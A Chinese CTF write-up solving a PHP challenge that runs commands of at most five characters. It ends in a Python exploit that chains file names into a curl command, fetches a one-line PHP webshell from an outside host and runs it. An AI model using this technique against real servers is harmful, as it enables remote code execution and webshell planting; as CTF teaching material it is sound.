题目源码
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
0x01 从环境搭建开始
使用的是ubuntu16.04,安装虚拟机,安装apache2+php+mysql,安装git,安装vim,精简系统等等。说一下在配置环境过程中遇到的问题:
- 首先得建立/www/sandbox目录,linux创建文件(夹)时如果前置目录不存在会报错
blank@blank-virtual-machine:~$ mkdir /test/test/test
mkdir: cannot create directory ‘/test/test/test’: No such file or directory
- www-data由于没有实体,在sudoers下给予权限会无效
blank@blank-virtual-machine:~$ cat /etc/passwd | grep www-data
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
解决方法,一是更换php执行者,一是更换路径的权限。
0x02 知识准备
首先在解这道题目之前需要做些知识的铺垫
- IP的等价表示法
我们常见的ip是由.为分隔符的4个十进制数表示,但其实上,在我们需要的时候,可以使用八进制,16进制,长整数来表示。转换代码
#coding=utf-8
ip = '192.168.98.133'
# 十六进制
print '0x' + ''.join([str(hex(int(i))[2:].zfill(2))for i in ip.split('.')])
# 长整数
print int(''.join([str(hex(int(i))[2:].zfill(2))for i in ip.split('.')]), 16)
# 八进制
print '0' + oct(int(''.join([str(hex(int(i))[2:].zfill(2))for i in ip.split('.')]), 16))
ip地址的“构造”是由32位二进制数组成的,比如192.168.98.133
192 11000000
168 10101000
98 01100010
133 10000101
那么192.168.98.133的长整形就是32位2进制数的值
>>> print int(0b11000000101010000110001010000101)
3232260741
16进制表示就是0x+单个十进制数的16进制值,也可以使用累加法
>>> print hex(202*2**24+204*2**16+120*2**8+63)
0xcacc783fL
注:0xc0a86285才是16进制值,最后的L是由于int型数字大于2^31会自动转化成long,long转化为16进制时会在最后添加L
八进制表示可以用0+oct(长整形10进制)得到
>>> print oct(3232260741)
030052061205L
八进制为0030052061205,L与之前同理
测试
D:\
λ ping 0xc0a86285
正在 Ping 192.168.98.133 具有 32 字节的数据:
来自 192.168.98.133 的回复: 字节=32 时间<1ms TTL=64
来自 192.168.98.133 的回复: 字节=32 时间<1ms TTL=64
D:\
λ ping 3232260741
正在 Ping 192.168.98.133 具有 32 字节的数据:
来自 192.168.98.133 的回复: 字节=32 时间<1ms TTL=64
来自 192.168.98.133 的回复: 字节=32 时间<1ms TTL=64
D:\
λ ping 0030052061205
正在 Ping 192.168.98.133 具有 32 字节的数据:
来自 192.168.98.133 的回复: 字节=32 时间<1ms TTL=64
来自 192.168.98.133 的回复: 字节=32 时间<1ms TTL=64
- 利用续行符拆分命令
blank@blank-virtual-machine:~$ l\
> s
Desktop Downloads Music Public Videos
Documents examples.desktop Pictures Templates
- bash执行脚本时会忽略一行错误
root@blank-virtual-machine:/www/sandbox/c7576a7ba5b8523ab4ac5f3d1ca02fcd# cat a
a
ls -t
root@blank-virtual-machine:/www/sandbox/c7576a7ba5b8523ab4ac5f3d1ca02fcd# sh a
a: 1: a: a: not found
d c b a
- *执行命令
# touch echo rev type wc whereis which who && ls && *
echo rev type wc whereis which who
rev type wc whereis which who
# rm echo && ls && echo '1234'>type && *
rev type wc whereis which who
4321
# rm rev && ls && *
type wc whereis which who
wc is /usr/bin/wc
whereis is /usr/bin/whereis
which is /usr/bin/which
who is /usr/bin/who
# rm type && ls && *
wc whereis which who
0 0 0 whereis
0 0 0 which
0 0 0 who
0 0 0 total
...
*会把ls下第一个名称作为命令执行
*匹配时会列出所有符合条件的文件
# touch echo rev type wc whereis which who
# echo w*
wc whereis which who
- ls的排列顺序
0x03 题目分析
代码根据访问者的ip在/www/sandbox目录下建立一个目录,然后通过cmd传入执行的命令,但是长度小于等于5,使用reset重置环境。简单点说就是绕过5个字节限制getshell。
思路:
通过执行curl 192.168.98.133:8000>A获取放在公网上的代码
更改A里面的内容为一句话木马,使用php A执行
遇到的问题:
- 在使用curl + 长整形ip地址以及curl + 8进制地址时返回400,目前没解决,,,,
- 16进制的ip地址无法满足ls的排序需求,所以需要使用ls -t
具体操作:
首先需要在一个文件里保存需要执行的ls -t>g
>dir
>sl
>ht- # 使用ht是由于s显示在t前面
>g\>
*>v # v里面的内容为 g> ht- sl
这时候v里面就得到了我们想要的语句逆序,使用*能执行命令的特性来改变顺序
>rev
*v>x # *v匹配的结果为rev v
此时x里即为需要的ls -ht >g ,接下来只需要逆向构造curl即可
'>\>t',
'>00\\',
'>:80\\',
'>285\\',
'>86\\',
'>0a\\',
'>0xc\\',
'>l\ \\',
'>cur\\',
# \\为python的转义,在实际url中还是一个\
最终的exp如下
#coding=utf-8
import requests
payload = [ '>dir',
'>sl',
'>ht-',
'>g\>',
'*>v',
'>rev',
'*v>x',
# 删除过度文件
'rm d*',
'rm s*',
'rm h*',
'rm g*',
'rm v*',
'rm r*',
# 拉取本地index.html
'>\>t',
'>285\\',
'>86\\',
'>0a\\',
'>0xc\\',
'>l\ \\',
'>cur\\',
'sh x',
'sh g',
'php t'
]
for i in payload:
url = 'http://192.168.98.133:8000/?cmd=' + i
r = requests.get(url)
print '%s' % r.status_code,url
然后蚁剑连接即可,关于字节限制在4,只需要更改本地url地址即可
0x04 参考
这道题学到了很多东西,不仅限于题目,包括在搭建的过程中遇到的一些之前没注意到的小细节、linux系统的一些特性等等。感谢梅子酒师傅的git~